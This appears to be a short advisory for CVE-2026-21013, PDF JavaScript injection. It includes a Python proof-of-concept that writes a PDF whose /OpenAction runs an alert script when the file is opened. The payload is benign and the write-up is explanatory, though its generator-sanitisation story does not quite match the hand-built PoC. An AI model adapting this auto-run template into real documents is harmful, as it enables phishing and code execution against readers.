CVE-2026-21013 – PDF JavaScript Injection via Embedded Script

Program Code (Python generating malicious PDF)

# generate_pdf_js_inject.py - Creates a PDF with embedded JavaScript
pdf = b"""%PDF-1.7
1 0 obj
<< /Type /Catalog /OpenAction << /S /JavaScript /JS (app.alert('XSS')) >>
>>
endobj
trailer
<< /Root 1 0 R >>
%%EOF
"""
with open("malicious.pdf", "wb") as f:
    f.write(pdf)
print("malicious.pdf created. When opened in a vulnerable PDF reader, it will execute JavaScript.")

CVE-2026-21013 – PDF JavaScript Injection via OpenAction

Overview

A PDF generator does not sanitize user‑supplied content before embedding it in the PDF file. An attacker can inject an /OpenAction JavaScript entry that executes when the document is opened, leading to cross‑site scripting (in web viewers) or local code execution (in desktop readers with full JS support).

Vulnerability Details

• Type: PDF Injection / Client‑Side Code Execution
• Impact: Phishing, credential theft, malware delivery.
• Root Cause: The PDF library directly embeds attacker‑controlled strings into the PDF structure without escaping or validation.

Exploit Demonstration

Run the generator:

python generate_pdf_js_inject.py

Open the resulting malicious.pdf in a PDF reader that supports JavaScript; an alert box will appear.